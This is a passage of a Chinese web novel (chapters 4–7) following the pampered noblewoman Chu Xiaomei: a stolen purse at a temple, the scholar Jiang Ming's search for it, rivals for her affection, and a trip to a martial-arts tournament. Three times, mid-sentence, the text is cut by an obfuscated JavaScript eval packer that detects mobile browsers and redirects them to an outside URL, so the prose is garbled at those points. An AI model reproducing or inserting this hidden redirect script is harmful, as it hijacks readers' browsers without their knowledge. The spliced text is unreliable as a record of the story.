江铭望着近乎看不到尽头的拥挤人群，眉宇间浮起些许担忧：“娘子今日没带侍婢，独自一人入寺恐有差池，江某陪娘子一道吧。” “谁要你陪？”褚笑眉冷冷睨了他一眼，“天子脚下，佛门重地，能有什么危险？你在外头候着便是。” 见她面露不悦，江铭也不再多劝，自应下了。 褚笑眉迈入寺中，焚香的味道扑面而来。院内信众来往如织，从前有婢女在旁护住她，而今日她是自己来的，只能在与人交错时身形略避，不想让他们的粗布麻衣沾到自己。 护国寺香火鼎盛，靠近铜炉时，能明显感觉到燃烧的热气，烘得周身发暖；厚重的白烟缭绕着，将双眼熏得酸涩无比。她请了一炷高香，又为家人供了几盏长明灯。 她入殿叩拜完，正要捐些香火钱，却摸到腰间空空荡荡——她的荷包不见了。 她环顾一圈，周遭皆是手捧香烛、眉目虔诚的善男信女，压根辨别不出那行窃的小贼是哪一个。她还欲再找，却不断地有进出的香客在她身旁挤过，撞得她往旁踉跄，甚至还有人踩到了她的绣鞋和裙摆。 江铭牵着马守在寺外，眼睁睁地看着原本就心情欠佳的小祖宗进寺一趟，出来时脸色更差了。 “都怪你乌鸦嘴！说什么‘恐有差池’，还真就应验了！”小祖宗一双杏眸恶狠狠地瞪着他，“不知是哪个不长眼的小毛贼，竟偷了我的荷包！” 她愈说愈是气愤，咬牙切齿地骂道：“胆子倒是不小，也不打听打听我是谁。看不出来我家世不凡吗？还敢把主意打到我头上！要是让我逮住，非得抽了他的筋、扒了他的皮！” “恐怕正是因为娘子衣饰华美，一看便知是富贵人家，才会被窃贼盯上。”江铭略有些无奈，“娘子平日出门，从不留意自己的钱袋吗？” “你怎么不早提醒我？如今都已被偷了，你倒做起事后诸葛来了！”褚笑眉道，“往常都是白虹替我揣着银钱，我哪会知晓这些？” “是，都是江某的错。”江铭叹了口气，低头认下，“娘子损失了多少银两？江某赔给娘子。莫恼了，好不好？” “你以为这是钱的事？这么点零碎银子，丢了就丢了，我瞧得上吗？”褚笑眉冷哼道，“我舍不得的是我那只荷包。 “那可是请了蜀州最负盛名的绣娘，反复修改了十余回花样，才绣出来的金玉满堂。全天下独此一份！而且那位绣娘如今患了眼疾，已用不了绣花针了——即便拿出再多钱来，也没法再复刻。” 江铭蓦地拽过褚笑眉的手腕，将莹玉的缰绳塞到她手中。 褚笑眉以为是疾言厉色训了一通，他清高的文人脾性上来了，不由恼道：“你我的牵马坠镫之约尚未完成……你就要撂挑子了？状元郎的诺言，竟这般不值钱？” “我并非是要毁约，只是请娘子暂且照看莹玉。”江铭出言解释，“娘子既如此在意那荷包，江某想尽力一试，看能否为娘子寻回。” “茫茫人海，你上哪里寻去？” “江某自有江某的法子。最差的结果，也不过是寻不着，白忙碌一场罢了。” 他略想了想，又取出一锭银子，放进她掌心：“我知娘子不缺钱财，但方才已被窃走，总不好叫娘子没得花用。娘子若累了，可至路边茶摊稍作歇息。无论成与不成，一炷香内，我必定来回娘子的话。” 他托起她的手指，让她将那枚银锭握住；而后又垂眸看住她，眼底浮起淡淡笑意，语带揶揄：“娘子这回要留神了……至少在我归来前，别又让自己落得身无分文。” 褚笑眉有些脸热，抽回了自己的手：“有劳江郎君提醒。我倒也不至于在同一件事上，接连栽两次跟头。” 寺门口正对处就支了个茶摊，她挤过人群走去，将莹玉交付给小二拴好。跑堂的一看她衣着，便知来了贵客，忙不迭地迎上来，问道： “娘子是要听书还是用茶？听书坐里头更好，不过没有空桌了，要和旁人拼一拼……” 褚笑眉睨他一眼：“我从不和人拼桌。” 跑堂的点头哈腰地附和，引她去了外围处落座，将搭在脖子上的布巾扯下来，殷勤地将桌面再擦一遍。 褚笑眉要了些茶点，浅抿了一口热茶，便嫌弃地皱了皱眉，不肯再碰了。 茶馆中，说书先生抚尺一落，朗声开口： “哎，诸位听客您坐好，今儿个咱不讲朝堂风云，不讲江湖恩怨——且来讲一讲，咱大雍的一段佳话！ “想当年，咱先帝爷与太后，可说是情浓似海、人 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15234520|166025||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 人称羡。这感情好到什么地步呢？咱太后娘娘膝下，始终未有一子半女；但咱先帝爷啊，愣是不肯再纳一位妃嫔。后宫之中，唯有太后娘娘一人。 “这天家不能无后啊！怎么办呢？诶，先帝爷想到个主意，从太后娘娘的母家过继了一个孩子，立作储君——也就是坐在龙椅上的当今圣上。 “这样的恩爱夫妻，莫说在帝王家，便是在寻常百姓家里，也是前无古人、后无来者啊！ “帝后情深，引得天下男子纷纷效仿。但凡是有身份的人家，皆以宠妻为荣、以纳妾为耻，倒也成了咱大雍独一份儿的风气……” 说书人的故事翻来覆去地就这么几样，褚笑眉早听得腻了。粗茶她喝不下，糕点也难吃，她屈指一下一下敲着桌面，等得心头烦闷。 人群中闪过一片熟悉的衣角，而后现出了江铭的身影。只见他手中拽着一根带子，带子的另一端反绑着另一个人的双手——那人佝偻着脊背，一副畏畏缩缩的模样，身形细瘦得很，宽大的上衣挂在他身上晃晃荡荡。 哦，褚笑眉细看方才发现，捆他的那根带子，正是此人的腰带。 褚笑眉起了身，往那人腿弯重重踹了一脚，直将他踹得跪倒在地；而后又是接连几脚，朝他脸上招呼过去：“就是你这个瞎眼的狗东西偷了我的荷包？” “别踹了，别踹了，娘子息怒啊……”那人被缚住双手，挡也没法挡，硬生生受下了她的泄愤，蜡黄的脸显出几道红肿的伤痕来。 他蜷在地上连声讨饶：“小人有眼不识泰山，不该窃走娘子之物。小人已知错了！还请娘子饶恕小人啊！” “我那荷包呢？交出来！” “小人、小人得手以后，只留下了银两，那荷包被小人随手扔了……” “扔了？”褚笑眉简直要给他气笑了，“不识货的蠢笨羔子！我那荷包乃是孤品，价逾千金，比其中的钱财不知要贵重多少倍，你竟给扔了？” 江铭冷声询问：“扔在哪儿了？” “就……从护国寺的后门出来，那条街上。” 江铭望向褚笑眉，放缓了语调：“娘子是同我一起去寻，还是继续在此处等我？” “算了，我不要了。”褚笑眉道，“他既然扔到地上，就算能找着，想必也已被许多人践踏过了，拿回来未免脏了我的手。” 江铭道：“荷包是女子贴身之物，娘子即便不想要，寻回后烧掉也是好的。落入他人手中终究不妥，若被有心者利用，恐怕会损害娘子声名。” 褚笑眉一想，也觉得他说得在理：“我可不要再等你了，也忒无聊，还不如与你同去找寻。” 那小贼在前引路，领着二人过去：“小人就扔在了这里……” 路面上却并没有他所说的荷包，他缩了缩脖子，愈发胆怯：“已经不见了，可能是给谁捡走了。” 江铭的目光在周遭扫视一圈，似在搜寻可用的线索。褚笑眉怏怏地道：“别看了，难不成你是神仙，还能看出来是谁拿了我的荷包？” “江某自然看不出来。”江铭低低笑开，“不过，有人兴许看见了。” 5. 第 5 章 褚笑眉奇道：“谁看见了？” 江铭的目光移向路边乞丐，出言解释：“那乞儿坐在地上，视线本来就低。娘子的荷包又极其奢美，想必会引起他的注意。” 褚笑眉转头望去，见那乞丐的双腿齐膝截断，看着倒是分外可怜。 江铭走上前，往地上的破碗里扔了几粒碎银。 碗中盛着的原本都是铜钱，乞丐头一回见这么大方的主儿，从喉咙里挤出一句话。那嗓音喑哑难听，像是经久失修的木门开阖时“吱吱呀呀”的动静，刺耳得很。褚笑眉蹙着眉头努力辨认，才勉强听清“多谢”、“必有福报”这两个词。 乞儿身上有一股腥臭味，满是泥灰的头发一绺一绺地凝结着。褚笑眉以香袖掩住鼻子，忍下恶心跟着江铭靠近，骤然看清了这个乞儿的长相： 只见他的左半张脸竟然没有面皮，红肿溃烂的血肉裸露在外，坑坑洼洼的像是蜂窝一般，其中隐约还堆积着脓液；右半张脸的面皮虽然还在，却没有眼珠子，空荡荡的眼眶眯成了一道细缝，直直地对着她的方向。 他没有上嘴唇，取而代之的是崎岖狰狞的伤疤，朽烂发黑的门牙往外支着。右耳还掉了一半，歪歪斜斜地垂吊下来，仅靠下半部分的皮肉连接在脸上…… 褚笑眉只觉头皮发麻，一把抓住了江铭的手臂，失声尖叫：“啊啊啊啊啊啊！鬼啊！” “别怕。”江铭回过身挡住了她的视线，“不是鬼，是人。” 她仍旧惊魂未定，指甲深深地掐进他左臂，惶恐得连目光也失了焦距，红唇不住地颤抖着。 “娘子，回神，看着我。”江铭一字一句，轻声引导。 她剧烈地喘息着，缓缓将视线聚到他脸上。灿金的日光落在状元郎俊美的面容上，映得他明朗绝艳，如神仙中人。 只这一眼，她好似从地狱一下子被拉回到繁华如梦的人间。她这才发觉自己的冷汗已浸湿了里衣，心跳怦然如擂鼓。 ——而且，她还紧紧掐着他的手臂。 她骤然红了脸，如同被烫到一般蓦地收回手：“抱歉，我方才……” “无妨。”江铭温声道，“只是一个身有残疾的人。娘子若实在害怕，便躲在我身后，莫要再看。” 他向那乞儿道：“劳烦问个事，你可有见到一只绣着金鱼的浅蓝色荷包？” 而后褚笑眉又听见了乞儿嘶哑的声音，这回她没太听清。江铭同对方道过谢，带着她离开此处。 褚笑眉道：“他方才说什么？你听明白了？” 江铭道：“说捡走荷包的是个十三四岁的小女娘，又说了她穿的什么衣裳，有什么特征。” “能找回来吗？” “我尽力。若寻到了，自会向娘子交代。” 她又问：“我只告诉你是金玉满堂的花样，你怎么知道是浅蓝色的？” 江铭垂眸一笑：“那荷包尚且佩在娘子腰间时，江某便留意到了。” 一阵凉风吹过后颈，褚笑眉打了个寒颤。方才那乞丐的模样又浮现在她眼前，她愈想压下去，反而愈发清晰地回忆起来。 她往江铭身边凑了凑：“那个乞儿……实在骇人，也不知从前经历了什么样的祸事。” “是采生折割。” 褚笑眉不解：“什么是采生折割？” “制造一些残疾或怪物，博取世人的同情，以乞讨到更多的钱财。” 褚笑眉倒吸一口凉气，眸中现出惊惧之色：“他那副模样……居然是被人故意弄的？就为了讨点钱？” “娘子自小生长在锦绣堆里，想必入目皆是花天锦地、软红十丈。”江铭垂眸望向她，轻声解释。“其实在这繁华之下，多的是挣扎求生的苦命人。” 褚笑眉似被什么牵引了似的回过头，却见护国寺外熙熙攘攘、车水马龙，而那相貌可怖的乞儿，早淹没在人潮中，看不到踪影了。 褚府的华灯点了起来，褚笑臣瞥了一眼方几上的茶盏，状似不经意地开口：“阿姊好像有些心不在焉？茶都凉了，也没同我说一句话。” 褚笑眉经他一唤，方才回神：“可能是今日太累了。” “阿姊从前同张娘子打马球，也不曾累成这样。”褚笑臣眸中泛着冷光，“我听说……阿姊同那状元郎去了护国寺？” “对，你倒提醒我了。”褚笑眉道，“还没来得及告诉你，他在金榜下冒犯我的事，已做了了结。他应允为我牵马坠镫一年赔罪，你往后就别再难为他了。” “这算哪门子赔罪？为阿姊牵马分明是……”褚笑臣一时顿住，垂眸压下眼底翻涌的暗潮，“我也可以为阿姊牵马。” 褚笑眉拉过他的手，笑盈盈道：“我们小臣的手是读书写字的，阿姊可舍不得让你做这样侍奉人的活计。” 褚笑臣微不可察地勾起了唇角，语声柔和下来：“仅仅去一趟护国寺，倒也不值得让阿姊出这么久的神。阿姊可还有遇到什么新鲜事？” 褚笑眉眼前又浮现出那个乞儿的脸，狰狞可怖，挥之不去。她不由自主地收拢指节，攥紧了阿弟的手。 “阿姊？”褚笑臣担忧道，“怎么了？” “我今日在报国寺外……遇到了一个被采生折割的乞丐，长得实在吓人。” “采生折割？是那状元郎讲给你的？”褚笑臣眸光愈冷，“阿姊不该知道这种腌臜事。” “褚家不缺侍马的仆从，若阿姊嫌他们伺候得不好，我重新为阿姊挑一批。”他眸中映着跳动的烛火，神色沉了下来。“那状元郎不会照顾人，去趟寺庙都能让阿姊受了惊，阿姊以后……还是少同他往来吧。” 褚笑眉道：“我即便差使他，也是最后几日了。如今蟾宫宴也办了，他马上就该受官了，我总不能把人从衙门里叫出来为我牵马。” “不提他了，好不好？阿姊方才许久不理我，一开口……每件事都是他。”褚笑臣轻声道。 他从怀中取出一支凤钗，钗身以纯金打造，凤羽以金精缀饰，栩栩如生、光彩照人：“这是我从胡商那里收来的，想来应该勉强衬得上阿姊。阿姊喜欢吗？” “好漂亮！”褚笑眉将那金钗接了过来，在手中端看把玩，毫不掩饰喜爱之色。“我们小臣这么会哄人欢心，以后不知要便宜了哪家的小娘子。” “不会。”褚笑臣定定地看着她，“我只对阿姊好。” “你现下 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15234521|166025||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 这么说，不过是因为你还没有心悦的小女娘。” 褚笑臣静默半晌，眸色随着烛火一同明明暗暗。许久，他终于伸手覆上了她掌心凤钗，蜷起指节轻轻拢住，低声询问：“我为阿姊簪入发间，可好？” “我马上要就寝了……” “青简会帮阿姊拆下来的。”褚笑臣软下语调恳求，“我想看看，阿姊戴上它的样子。” 褚笑眉点头退让：“好好好，都依你。” 褚笑臣托住她的肩头，让她转向镜前。他俯身凑近她，清瘦手指执着金钗，缓缓插进她云鬟间。 明烛煌煌，映得铜镜也亮堂堂的。他望着镜子里她的脸，容颜明媚，眉目浓烈，满头珠翠。那金钗凤羽上密密点缀的金精石洒金璀璨，果真似一只翠蓝的凤凰灿灿耀眼的羽翼。 他指腹轻抚那凤钗，神色虔诚而惊艳，似寻到了佛宗瑰宝的沙弥：“顾盼生辉，和我想象中的一样。阿姊简直……美得惊心动魄。” 褚笑眉笑得眉眼弯弯：“偏你嘴甜。” 京中发生了两件大事。 第一件是中第的进士纷纷授官，江铭做了礼部侍郎； 第二件是在外征战的靖国公凯旋归来，圣上要领着众大臣于郊外亲迎。 刘德升今年总算于末位被武举录了，做了个正九品下的京兆县尉。芝麻大点的小官，排在武将的队尾，往前看去是黑压压的看不到尽头的后脑勺。 尽管他在百官中渺小得如同沧海一粟，压根看不见靖国公的身影，他还是紧张得手心直冒汗。 那可是靖国公——独掌百万大军，南征北战从无败绩；八岁上疆场，十五年间屠灭了西域六国。 提起他的名字，能使小儿夜中不敢啼哭。大雍朝臣誉他为“战神”，可百姓私底下都叫他：杀神。 文武百官皆屏息凝神，吏部尚书褚惟庸的脊背绷得笔直，他身后的长女倒是一副放松姿态，甚至以袖掩面，偷偷打了个哈欠。 靖国公下了马，正欲行礼，便被少年天子稳稳托住。圣上含笑道：“国公征战辛苦，又何必多礼？” 君臣二人说起了场面话，冠冕堂皇得很。从褚笑眉的左耳进去，又从她右耳出来，一个字也没留下。她只怔怔地盯着自己的绣鞋出神。 而后她听得国公爷唤她：“阿眉。” 她蓦地醒了神，抬眸望向他。 靖国公问道：“困成这样。昨夜什么时辰睡下的？” “知道今日要来迎承望哥哥凯旋，我戌时末就熄灯了。”褚笑眉道，“……结果激动得辗转反侧，半宿没睡着。” 靖国公的面容仍旧冷肃，眼底却浮起了极浅淡的笑：“既然还困，回去补眠吧。晚上我的庆功宴，若起不来……也不必来了。” 少年天子的目光在二人身上扫了扫，了然一笑：“国公此番得胜归来，可有什么想要的封赏？若有心仪的娘子，朕可做主赐婚。” 圣上虽未点明，但言语中所提及的娘子是谁，除开她本人外，在场诸人皆心照不宣。 江铭的眼睫骤然一抬，直直望向褚笑眉。 褚笑臣薄唇紧抿，眸色幽深晦暗，亦定定地凝视着自家阿姊。 6. 第 6 章 “她年纪尚小，不通情爱。”靖国公道，“臣希望，且等上两年，再议她的婚嫁之事。” “也好。”圣上道，“国公倒是体贴入微，处处为她考量——只能盼她快些开窍了。” 这两人打着哑谜，褚笑眉听得云里雾里。但此时的场合也不便发问，她只好压下了心中的疑惑。 见她仍是一副懵懂模样，圣上无奈地笑了笑，转头向她道：“国公此番征讨疏勒，带回了许多奇珍异宝。褚娘子可先去挑些喜欢的，余下的再入国库。” 分明是要给靖国公封赏，怎么转头又说起让她挑宝贝了？褚笑眉并不关心朝堂之事，对于圣上这个恩典，她不知是该应下还是该推拒，只能求助地望向靖国公。 她手足无措时，第一个将目光投向了他。靖国公似乎被她这个反应取悦到了，微微勾了勾唇角，冲她轻轻点头：“去选吧。” 靖国公姓靳名愿，字承望，乃是当朝国师的义子。先帝在时，因储君年幼，钦定了国师、丞相二人辅政。后来国师渐渐地将朝务交到了义子手中，自己鲜少再插手理会。 褚笑眉自东侧门步入了国公府中，熟门熟路地去往花厅。 或许是武将身份的缘故，花厅建得比褚府中开阔不少。日光洒落窗棂，楠木的金丝熠熠生辉。 靠墙的博古架上并不陈列古董文玩，反而摞着各式各样的话本子。她挑挑拣拣选出来一本，倚在紫檀木椅上跷着脚翻看。 国公府婢子轻手轻脚地上前，开盖换上了为她专备的玉楼云蜃香。不多时，云雾般缥缈的银白烟气就从铜雀嘴里飘了出来，将金色的日光氲得霞光四溢。 翻了没几页，外间便传来了脚步声。她急忙将腿放下来，规规矩矩坐好，阖了话本置于膝上。 只见靳愿踏进了厅内，他似乎是刚沐浴完匆匆赶来的，随意披了件玄色的衣袍。乌发湿漉漉地散着，尚且还往下滴着水珠。 褚笑眉问道：“怎么头发也不擦？” “听下人说你来了，”靳愿道，“你不喜欢等。” “这不是还有话本子陪我打发时间吗？”她屈指敲了敲书封，笑意盈盈，又转头向国公府的婢女吩咐，“去取条巾帕过来，我帮承望哥哥擦擦。” 靳愿于她身侧落座，垂眸望向她膝上的话本：“还合意吗？” “来来去去都是这么些老掉牙的故事，我都能猜到后续了。” “不喜欢？”靳愿眉头微皱，递给管家一个眼神。 管家会意，躬身应下：“去书肆采买的人不中用，小人下去就换了他们。” 褚笑眉道：“不怪他们。如今市上的话本，写的无非都是这些：妖怪幻化成貌美女子与穷书生相恋、青楼花魁被穷书生救风尘、世家贵女对穷书生一见钟情……” “怎么都是穷书生？” 她笑道：“但凡有真才实学的，皆科考做官去了；家中有权有势的，各种乐子且寻不完呢。大概写这些故事的，都是成日做梦的酸腐文人吧。” 靳愿道：“回头养一批秀才，命他们写些新鲜的。” 婢女已将巾帕捧了来，褚笑眉接过，起身绕到靳愿身后，细细为他擦干头发。他肩头洇湿的衣衫已被体温烘热了，她无意间触及，不由得蜷了蜷手指：“衣裳都湿了，不去换一身？” “无妨。” 厅内一时静默，只闻巾帕捻动发丝的簌簌声。半晌，靳愿复又开口：“听说……你近日和那位江侍郎，走得极近？” “都是京中流言罢了。”褚笑眉道，“承望哥哥一提，我倒想起来了。今日当着圣上，我不好发问，你何时有了心仪的娘子？藏得也太好了。我时常与你往来，竟都从没见过。” 靳愿似是被这话噎住，神色阴晴变化，许久方道：“没有。” “可是圣上说……” “我身边有没有女人，阿眉不是最清楚了？”靳愿道，“想必是因为我到了成家的年纪，故而圣上有此一问。” “原来是这样。”他的头发已不滴水了，褚笑眉将巾帕递给婢女，轻声嘱咐，“下回不必这样着急。若是等承望哥哥，我还是等得的。” 她又被角落的矮几吸引了注意，其上放着一株红珊瑚，艳丽夺目、光华流转。 靳愿循着她的目光看去，几不可闻地低低笑了一声，吩咐道：“送到褚府去。” 褚笑眉忙道：“我就是随便看看而已，没想要……” 婢女一面差人搬走，一面笑着解释：“国公府的规矩历来如此。哪样东西您看了超过两息时间，那就是您的。娘子带回家慢慢看，若看腻了嫌碍眼，扔了便是。” 张菁近日是愈发地难约出来了，褚笑眉去了侯府好几趟，回回都遇上她在练枪。 张菁擦了擦额头的汗，唉声叹气：“你以为我想练啊？还不是我今年到了能参加论剑的年纪，阿爷非要让我去比一比，说是考校考校我的武功。” 论剑是武林中的盛事，由国教逍遥宗两年一举，仅限年纪在十五至二十四的年轻才俊参与。 “将门虎女，果真名不虚传。”褚笑眉揶揄道，“哪像我这种纨绔，睡到巳时方起，每日只有吃喝玩乐，实在空虚得很。” “褚笑眉，你这就有点欠揍了！”张菁瞪她一眼，“总之阿爷说了，我至少得拿个前百的名次回来，以验我习武的成效。否则往后……练功的时长翻倍。” 她眼珠子滴溜溜一转，忽地道：“阿眉，你陪我一同去论剑吧。” 褚笑眉惊道：“我又没练过武……” “但你于武学上的眼光极其老道毒辣。你可以帮我拆对手的招，想出获胜之法。”张菁央道，“阿眉，你就帮帮我吧，我把你喜欢的那个苏州厨子送你。我要是失败了，往后就真没时间同你玩了。” “再加上那个善做糕点的杭州厨娘。” 张菁咬牙切齿：“你就是在趁机敲诈勒索。” “舍不得？”褚笑眉作势要走，“那你自己努力，我回府等你的好消息。” 张菁急忙拉住她：“舍得！舍得！褚娘子都开口了，要我的命我也给。” 逍遥宗位于太一山，在长安城以南，其前身乃是一赫赫有名的武林世家——东越蒋 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15234522|166025||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 家。 因昔日的第一高手蒋遥，曾随太祖皇帝打江山。故而蒋家皆受封赏，迁于太一山，更名“逍遥宗”，被尊为国教，广收天下弟子；至于蒋遥将军，更是被太祖称为“武圣”，立金身塑像于此。 褚笑眉懒得爬山，便雇了轿辇让人抬上去；张菁因要朝拜武圣，只得步行。 张菁口中念念有词：“武圣保佑，让我排到差劲的对手。我的要求不高，能进前百就行……” 褚笑眉目瞪口呆：“朝拜武圣……是这么拜的？” “听说蒋遥前辈人很好的，想必不会拒绝我这个后辈的小小心愿。”张菁道，“哎呀，我说到哪儿了来着？你不要跟我搭话，搅乱了我的道心。” 她继续道：“拜托一定要避开各大门派的内门弟子，尤其是逍遥宗的……” 褚笑眉问道：“逍遥宗怎么了？” “逍遥宗修习的，是蒋遥前辈留下的剑谱——《斩楼兰》。”张菁道，“天家给了再多封赏，到底也是朝堂中的恩典；逍遥宗能在武林上居于魁首，这本剑谱厥功至伟，可说是天底下最强的武学。” 褚笑眉悠哉游哉地倚着背靠，眯眼向山上远眺，一尊金像已赫然在望。金像塑的是一名女子，手执利剑，衣袂飘然。铜炉中香火鼎盛，升起袅袅白烟，缭绕在她裙摆处，好似踏云乘雾；她脚下高台黑压压一片，围满了焚香叩拜的武林人士。 愈靠近武圣金像，人群愈是拥挤。辇舆已走不动了，褚笑眉只得弃轿而行。 看着是近了，可走到金像所在的明月台，还得爬一千零一级台阶。 张菁自小习武，她是如履平地，倒是苦了褚笑眉——爬到三四百阶就开始频繁停下来歇息，弯腰撑着膝盖大喘气。 褚笑眉气喘吁吁地道：“早知……这么累，就算给我……十倍的好处……我也不来……” 她第十七次摆着手说“我不行了”、“我要回去”，又被张菁第十七次“来都来了”、“就快到了”给诓骗了上去。 ——终于到了。 褚笑眉再顾不得什么名门贵女的风范，一屁股坐在台阶上，抬袖去擦额上的汗。 张菁谄媚地拧开水壶递给她，讨好道：“阿眉仗义！你好好歇息，我去上香。” 褚笑眉瞪她一眼，恶狠狠地抢过水壶，仰头灌了一大口水：“好好想想回头怎么报答我。” “那肯定。等我拿下论剑，回京就给褚娘子当牛做马、为奴为仆……” 说到这里，张菁蓦地一顿，捏住褚笑眉的下巴，让她偏过头去，仔仔细细打量了一遍；而后仰头看了看武圣金像，继而又移回目光看向她。 “干嘛呢？”褚笑眉一把拍开她的手。 “阿眉，你和武圣会不会是血亲……” 褚笑眉难以置信地看着她：“你要不自己听听你在说什么？我阿爷是文臣，阿娘更是深闺妇人，哪一个是能和江湖武林扯上关系的？” “我从小拜武圣像，就觉得她的容貌有些眼熟，如今我总算知道这熟悉感是哪儿来的了。”张菁道，“阿眉，你的侧脸和她好像。” 7. 第 7 章 “天下人这么多，有一两个容貌相似的也不奇怪吧。”褚笑眉道。 张菁点了点头：“也是。” 太一山的西峰名曰翠微峰，正是试剑比武之处。峰上矗立一排排高楼，鳞次栉比、依山势而建，提供给前来比试的侠士们居住。 数千侠士的食宿、花销，逍遥宗皆一力承担。这样大的手笔，除开他们以外，再没有其他宗派能做到了。 褚笑眉不是来试剑的，故而没有她的房间，她只能与张菁住在一处。 房中陈设十分简单，一览无遗：一张卧榻挂着避虫的纱幔，旁侧立着衣架与兵器架；黄花梨的桌椅置于窗边，桌上放着一套青瓷茶具。 褚笑眉喝多了水，急着找地方更衣，向逍遥宗弟子一打听，对方答道：“茅房在院中的西南角。” 褚笑眉惊得瞪大了眼：“这茅房……是所有人一起用的吗？” 对方神情古怪地看着她：“不然呢？” 褚笑眉额角的青筋一跳一跳，张菁急忙上去哄：“别恼别恼，我陪你一起去。” 她在家中时，都是由婢女伺候着将过长的外裳解下来，再坐到擦拭得干干净净、铺上了鹅毛的恭桶上，香炉里还燃着百花香。 眼前的茅房却只是一个木头与茅草搭出来的小间，里面还飘出隐约的异味，她实在是不想进去。 张菁牵起她的裙摆，叠在一起塞进她手里，给她出主意：“你这样——这样把裙子抱在怀里，不会弄脏。憋一口气，速战速决。” 若有的选，褚笑眉是怎么也不想去的。但人有三急，这可由不得她。 只见她刚踏进去，又立即转头出来了，面色难看地向张菁解释：“里面是个坑……” “坑怎么了？”张菁怔了怔，蓦地一拍脑袋，恍然大悟，“你不会蹲！我忘了你一直是用恭桶的！我进来教你。” 茅房的地面打扫得很干净，看不到什么污渍。茅坑里还留着前人的硕果，一阵阵地散发着臭气，熏得褚笑眉几欲作呕。 解决完要紧事，她逃也似的奔出来，脸颊早已憋红了，额头也沁出了薄汗。张菁看见她这副模样，忍不住笑了起来：“褚娘子，人生中第一次上茅坑，感觉如何？” “不怎么样，希望不要有下一回了。” “那约莫是不行的，”张菁道，“你至少得跟我在这儿待七日。” 褚笑眉气得去拧她：“你还笑话我呢，忒没良心！我不在京城享福玩乐，跑到这山上来吃苦受罪，也不知是为了谁！” “疼疼疼！”张菁连声讨饶，“是我不好，我给褚娘子赔罪。” 褚笑眉终于罢了手，皱着鼻子嫌弃道：“这天下第一宗的住处也太差了。你怎么适应得这么好的？” “姑奶奶，你信我，逍遥宗这地界已经够好了。”张菁道，“我毕竟出身将门，从前也随过军，军中那才叫……” 她摆了摆手，止住话头：“总之你绝对不会想知道的。” 二人回了房间，此时方有时间收拾整理。褚笑眉爬了半日的山，早累得不行了，瘫在椅子上一动不动；张菁拆了行囊，将衣物等一一归置妥当。 茶桌上放着一张地图、一本簿册。 褚笑眉拿起来细看，只见那地图绘的正是翠微峰，各亭台楼阁、以及论剑的擂台位置俱已标明。褚笑眉扬声道：“阿菁，东边有个汤池，你要不要与我同去？” “我可提前告诉你啊，那个汤池肯定也是和旁人一起用的。不会像碧烟山庄一样，偌大个温泉全是你的。” “我今日出了一身的汗，总不能就这么睡……能沐浴终归是好的。” “那你等等，我马上收拾完了。” 褚笑眉翻开另一本簿册，其上写着的是参与试剑的侠士名录。 这一盛事是有门槛的，各大门派、武林世家与朝中名将可推举弟子前来；若是江湖中无门无派的侠客，就须得闯出些名头才行。 今年有三千余人前来比试，张菁要想进前百，属实是件难事。 汤池分男女浴，女浴之中，又分出了十几个池子。各汤池门口皆挂了块牌子，写明其效用。例如这一池叫“南柯梦”，汤中加了安神助眠的药材；那一池叫“百花休”，池中添了花香料，浴后可使人遍体生香。 张菁道：“今日褚娘子遭了不少罪，我们进哪一间，全凭娘子做主。我跟着您，给您为奴为婢。” 褚笑眉睨她一眼：“这倒还像话。” 二人进了名叫“姝颜展”的汤池，说是池中加了佩兰、苏叶、白芷等药材，可使肌肤细腻白皙。 褚笑眉将身体浸入池中，只觉酸痛的双腿渐渐放松下来。她阖目倚在池壁上养神，忽听得有人惊叹： “哇——好漂亮啊！像是仙宫一样！” 她循声望去，看见那是个梳着双平髻的少女。 少女似乎没有浴衣，上身仅仅穿了条红肚兜，那肚兜的布料也差得很，也不知她怎么竟能贴身穿着。她裸露的肌肤上有不少疤痕，想来是练武时受过的伤。她的面容有些黑，双颊却红扑扑的，正睁大了一双眼，四处观赏雕梁画栋。 汤池中雾气氤氲，她蹲在池边，掬了一捧水，惊道：“热的！这得砍多少柴禾，才能烧这么大一池水啊……” 褚笑眉轻嗤一声，低骂道：“乡巴佬。” 第一轮的比试是抢花球，十人为一组，开始时点燃一炷香。待香燃尽，花球在谁手中，谁便可晋级第二轮。 簿册上已列好了分组，张菁挤到褚笑眉身边，寻找自己的名字：“第一日第七场……” 褚笑眉道：“运气不错，你的对手几乎都是名不见经传的小卒。” 张菁扬唇一笑：“我就说拜武圣是有用的吧！” “只有一位需要稍微留心的，是混元宗的外门弟子，名叫窦鸣。”褚笑眉道，“你对混元宗的武功路数熟吗？” “我又没闯过江湖，你说呢？” 褚笑眉翻找着更早的场次：“有了！第五场有一位混元宗内门弟子参与比试，我届时去看看他的武学，回来再同你讨论战略。” 